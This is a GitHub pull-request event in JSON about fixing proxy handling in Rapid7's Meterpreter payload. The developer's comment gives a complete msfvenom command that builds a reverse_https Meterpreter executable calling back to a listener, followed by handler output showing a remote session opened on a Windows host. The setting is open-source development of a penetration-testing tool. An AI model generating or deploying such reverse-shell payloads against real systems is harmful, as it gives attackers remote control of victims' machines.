{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/meterpreter/issues/159","labels_url":"https://api.github.com/repos/rapid7/meterpreter/issues/159/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/meterpreter/issues/159/comments","events_url":"https://api.github.com/repos/rapid7/meterpreter/issues/159/events","html_url":"https://github.com/rapid7/meterpreter/pull/159","id":75860157,"number":159,"title":"Utilise IE configuration for proxies where possible","user":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/meterpreter/labels/bug","name":"bug","color":"fc2929"}],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":11,"created_at":"2015-05-13T06:01:18Z","updated_at":"2015-05-14T00:39:38Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/meterpreter/pulls/159","html_url":"https://github.com/rapid7/meterpreter/pull/159","diff_url":"https://github.com/rapid7/meterpreter/pull/159.diff","patch_url":"https://github.com/rapid7/meterpreter/pull/159.patch"},"body":"After the WinHTTP work we did recently the automatic proxy support inside Meterpreter effectively stopped working. This meant that those people who used `reverse_http/s` payloads would get an initial connection back to MSF but from there the shell would be dead.\r\n\r\nThe reason was that WinHTTP doesn't adopt the default configuration for the current user like the WinInet API does. What was required was more work to query the IE settings and implement them separately.\r\n\r\nThis PR adds the default proxy support back to Meterpreter so that any system configuration for the user is applied in the way that it used to be. This doesn't add support for proxies that require manual authentication, but we didn't have that for WinInet either.\r\n\r\nOnce this has been verified and landed, I'll port these changes to the `reverse_winhttp/s` stagers as well.\r\n\r\n## Verification\r\n- [ ] Make sure that payloads without proxy configurations still work.\r\n- [ ] Make sure that payloads _with_ **manual** proxy configurations still work (ie. set the `PayloadProxyHost`, `PayloadProxyUser` ... etc).\r\n- [ ] Make sure that payloads _without_ manual proxy configurations utilise the proxy configuration that it set up on the target IE configuration, if there is one.\r\n- [ ] Make sure that payloads that are configured with manual proxy settings utilise those settings instead of the ones set by the IE configuration.\r\n\r\nPing @Meatballs1 for help with verifying that this works please!"},"comment":{"url":"https://api.github.com/repos/rapid7/meterpreter/issues/comments/101865812","html_url":"https://github.com/rapid7/meterpreter/pull/159#issuecomment-101865812","issue_url":"https://api.github.com/repos/rapid7/meterpreter/issues/159","id":101865812,"user":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"created_at":"2015-05-14T00:39:38Z","updated_at":"2015-05-14T00:39:38Z","body":"If I generate a payload like so:\r\n```\r\n./msfvenom -p windows/meterpreter/reverse_https LHOST=10.1.10.40 LPORT=8443 PayloadProxyType=HTTP PayloadProxyHost=192.168.0.1 PayloadProxyPort=3128 -f exe -o ~/scratch/a.exe\r\n```\r\nI can remove the proxy configuration from IE (so that there's no proxy at all, and IE now fails to load anything), run the payload and still get a valid session:\r\n\r\n```\r\npayload => windows/meterpreter/reverse_https\r\nLHOST => 10.1.10.40\r\nLPORT => 8443\r\nPayloadProxyHost => 192.168.0.1\r\nPayloadProxyPort => 3128\r\n[*] Started HTTPS reverse handler on https://0.0.0.0:8443/\r\n[*] Starting the payload handler...\r\n[*] 10.1.10.40:39739 (UUID: d07ee6804a13262c/x86=1/windows=1/2015-05-14T00:31:33Z) Staging Native payload ...\r\n[*] Meterpreter session 1 opened (10.1.10.40:8443 -> 10.1.10.40:39739) at 2015-05-14 10:34:58 +1000\r\n\r\nmeterpreter > sysinfo\r\nComputer        : WIN-8RDFKU33NLH\r\nOS              : Windows 8 (Build 9200).\r\nArchitecture    : x64 (Current Process is WOW64)\r\nSystem Language : en_GB\r\nMeterpreter     : x86/win32\r\n```\r\n\r\nDebug log confirms:\r\n```\r\n[1848] [990] [DISPATCH] Configuring with proxy: http://192.168.0.1:3128 \r\n```\r\nSomething is definitely different between you and I @Meatballs1, any help understanding what that is would be appreciated mate."}}